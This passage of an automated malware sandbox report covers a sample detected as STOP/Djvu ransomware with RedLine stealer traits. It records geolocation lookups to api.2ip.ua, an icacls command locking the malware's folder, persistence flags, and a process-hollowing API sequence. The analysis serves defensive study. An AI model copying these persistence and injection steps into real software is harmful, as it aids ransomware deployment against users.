2025-01-01 21:03:06 UTC	269	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.189","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2025-01-01 21:03:06 UTC	150	IN	Data Raw: 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 79 6f 72 6b 20 63 69 74 79 22 2c 22 63 69 74 79 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 33 31 39 32 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 30 36 35 22 7d 0d 0a Data Ascii: \u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}
2025-01-01 21:03:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	104.21.32.1	443	5316	C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 21:03:08 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2025-01-01 21:03:08 UTC	1106	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 21:03:08 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ElCgx9Yav1RQy4mjY6NoiZL0arKP0Q8xRhDtqfEY8hFYt%2Fvl%2BTLYDnU0u8PNSa9InaSpjpgSuViDcjf0Qfi2t%2FQn94o%2FJF7WRIqavTHhiof1lgiilDbYPdkgGr%2Bm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb5744c5dd1c327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1758&min_rtt=1687&rtt_var=684&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2808&recv_bytes=723&delivery_rate=1730883&cwnd=189&unsent_bytes=0&cid=c7c42b46c6465da6&ts=402&x=0"
2025-01-01 21:03:08 UTC	263	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.189","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2025-01-01 21:03:08 UTC	156	IN	Data Raw: 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 79 6f 72 6b 20 63 69 74 79 22 2c 22 63 69 74 79 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 33 31 39 32 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 30 36 35 22 7d 0d 0a Data Ascii: \u0419\u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}
2025-01-01 21:03:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	104.21.32.1	443	5168	C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 21:03:15 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2025-01-01 21:03:16 UTC	1104	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 21:03:15 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z9OrVZj9c%2FRYrBEO7MMhSCwt9i8AFizE3YpOAZq%2F0ZWFy%2B%2F4tAWA1ZFiAPubqmFW6wGPH3zBH7g454ieiKwt2pKnNfjQcsndQEEpV1raVkOEHu94a6wC2pJ2oJwO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb5747b293841a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1573&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2808&recv_bytes=723&delivery_rate=1787025&cwnd=239&unsent_bytes=0&cid=417a55545fcc382d&ts=421&x=0"
2025-01-01 21:03:16 UTC	265	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.189","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2025-01-01 21:03:16 UTC	154	IN	Data Raw: 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 79 6f 72 6b 20 63 69 74 79 22 2c 22 63 69 74 79 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 33 31 39 32 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 30 36 35 22 7d 0d 0a Data Ascii: 0419\u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}
2025-01-01 21:03:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49762	104.21.32.1	443	4368	C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 21:03:23 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2025-01-01 21:03:24 UTC	1108	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 21:03:24 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ACInicUZBVV8EkVql%2Fz7r0hlrAsSt%2FdRX71A4jSyUR1t9ZD9fLCgbTgDRNskMfghb50lPFSouzEh8OfEJEUf2ePP9luA4hcUU%2FMP%2BCpN4OQsF%2BMxH%2BLHWzT4I7aD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb574ade8b772b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1824&min_rtt=1815&rtt_var=687&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2807&recv_bytes=723&delivery_rate=1608815&cwnd=214&unsent_bytes=0&cid=f4a9ccba9a0e8880&ts=383&x=0"
2025-01-01 21:03:24 UTC	261	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.189","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2025-01-01 21:03:24 UTC	158	IN	Data Raw: 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 79 6f 72 6b 20 63 69 74 79 22 2c 22 63 69 74 79 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 33 31 39 32 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 30 36 35 22 7d 0d 0a Data Ascii: e-\u0419\u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}
2025-01-01 21:03:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:02:54
Start date:	01/01/2025
Path:	C:\Users\user\Desktop\16oApcahEa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\16oApcahEa.exe"
Imagebase:	0x400000
File size:	829'952 bytes
MD5 hash:	42FE928B06E704EC51F6D9E679A4B2E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2058334723.0000000004BED000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:02:58
Start date:	01/01/2025
Path:	C:\Users\user\Desktop\16oApcahEa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\16oApcahEa.exe"
Imagebase:	0x400000
File size:	829'952 bytes
MD5 hash:	42FE928B06E704EC51F6D9E679A4B2E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:02:59
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x80000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:03:00
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe --Task
Imagebase:	0x400000
File size:	829'952 bytes
MD5 hash:	42FE928B06E704EC51F6D9E679A4B2E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000004.00000002.2134183161.0000000003299000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:03:00
Start date:	01/01/2025
Path:	C:\Users\user\Desktop\16oApcahEa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\16oApcahEa.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	829'952 bytes
MD5 hash:	42FE928B06E704EC51F6D9E679A4B2E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.2112745886.0000000004AFE000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:03:03
Start date:	01/01/2025
Path:	C:\Users\user\Desktop\16oApcahEa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\16oApcahEa.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	829'952 bytes
MD5 hash:	42FE928B06E704EC51F6D9E679A4B2E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:03:05
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe --Task
Imagebase:	0x400000
File size:	829'952 bytes
MD5 hash:	42FE928B06E704EC51F6D9E679A4B2E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	16:03:09
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart
Imagebase:	0x400000
File size:	829'952 bytes
MD5 hash:	42FE928B06E704EC51F6D9E679A4B2E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.2208403894.0000000004AF3000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:03:12
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart
Imagebase:	0x400000
File size:	829'952 bytes
MD5 hash:	42FE928B06E704EC51F6D9E679A4B2E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:03:17
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart
Imagebase:	0x400000
File size:	829'952 bytes
MD5 hash:	42FE928B06E704EC51F6D9E679A4B2E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.2290490694.000000000310E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:03:21
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart
Imagebase:	0x400000
File size:	829'952 bytes
MD5 hash:	42FE928B06E704EC51F6D9E679A4B2E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	44.7%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 04CE0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 04CE0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 04CE016C
CreateProcessA.KERNELBASE(?,00000000), ref: 04CE0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04CE0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 04CE0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 04CE029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 04CE02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 04CE02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 04CE0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 04CE032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 04CE0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 04CE03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 04CE03E1
ResumeThread.KERNELBASE(00000000), ref: 04CE03ED
ExitProcess.KERNEL32(00000000), ref: 04CE0412

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 7a8e7f75c5dd9dc74657d084581edb659fde426d09f46113e68963c1b906becf
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 68B1D874A00208AFDB44CF99C895FAEBBB5FF88314F248158E509AB391D771AE41CF94

Function 04BED7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 04BED7EE
Module32First.KERNEL32(00000000,00000224), ref: 04BED80E

Memory Dump Source

Source File: 00000000.00000002.2058334723.0000000004BED000.00000040.00000020.00020000.00000000.sdmp, Offset: 04BED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bed000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: eed4ca67b6aed7509da053b38c732cd022633b625e2b14abb1391f1bcf8d777c
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
